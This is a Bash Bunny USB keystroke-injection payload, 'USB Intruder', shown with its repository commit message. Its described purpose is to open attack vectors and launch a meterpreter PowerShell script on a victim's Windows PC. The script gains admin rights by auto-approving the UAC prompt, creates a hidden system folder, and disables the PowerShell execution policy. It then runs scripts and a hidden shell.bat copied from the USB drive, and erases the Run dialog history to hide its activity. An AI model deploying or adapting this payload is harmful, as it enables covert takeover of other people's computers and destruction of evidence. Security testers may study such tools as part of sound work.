Aidan Holland 5a77792c1d Update and fix payloads (#277)
* Updated all Payloads for Version 1.2+

Fixed Style Issues on extensions and payloads.
Added GET TARGET_OS to get.sh
Removed and Fixed all uses ducky_helper.sh (Issue #248)
Removed all mention of DUCKY_LANG (Issue #248)
Renamed Payloads with spaces in name
Added an extension to keep Macs Happy
Added a payload for Mac DNS poisoning
Fixed Issue #271 changed wget to curl -o
Implemented PR #268
Implemented PR #273

* Fixed e.cmd

* Fix e.cmd pt2

* Fixed Issues

Fixed issues pointed out by @sebkinne
Fixed styling errors
2017-10-25 11:10:17 +11:00

77 lines
1.7 KiB
Bash

#!/bin/bash
#
#TITLE: USB Intruder
#AUTHOR: B0rk
#VERSION: 1.1
#PROPS: Hak5Darren, Diggster, IMcPwn and many more
#OS: Windows (Requires Powershell and Admin privs)
#ATTACKMODES: HID STORAGE
#
#DESCRIPTION: Opens up attack vectors and a meterpreter powershell script on a Victim PC. **Based on usb_exfiltrator by DK & Friends**
#
#LED INDICATORS:
#White - Initialization
#Blue Blinking - HID/STORAGE Phase
#Yellow Blinking - Cleanup
#Green Blinking - Syncing BB for removal
#Green - Attack Completion
#Initialization - Setting AttackModes
LED SETUP
ATTACKMODE HID STORAGE
GET SWITCH_POSITION
#Initialization Completed
#Beginning of HID/STORAGE Phase
LED ATTACK
#Description::
Q DELAY 2000
Q GUI d
Q DELAY 100
Q GUI r
Q DELAY 500
Q STRING powershell -Command "Start-Process cmd -Verb RunAs"
Q ENTER
Q DELAY 1000
Q ALT y
Q DELAY 800
Q STRING mkdir C:\\Windows\\ProgData
Q ENTER
Q STRING attrib +h C:\\Windows\\ProgData
Q ENTER
Q STRING powershell
Q ENTER
Q DELAY 800
Q STRING Set-ExecutionPolicy Unrestricted
Q ENTER
Q STRING powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\d.cmd')"
Q ENTER
Q DELAY 2000
Q STRING cd \$Env:WinDir\\ProgData
Q ENTER
Q STRING .\\seq1.ps1
Q ENTER
Q DELAY 1000
Q STRING powershell -WindowStyle Hidden \$Env:WinDir\ProgData\shell.bat
Q ENTER
Q STRING exit
Q ENTER
Q STRING exit
Q ENTER
Q DELAY 500
#End of HID/STORAGE Phase
#Cleanup
LED CLEANUP
#Clears complete run history
Q GUI r
Q DELAY 500
Q STRING powershell -WindowStyle Hidden Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue
Q ENTER
#End of Cleanup
#Completion of script
sync
LED FINISH
#Completed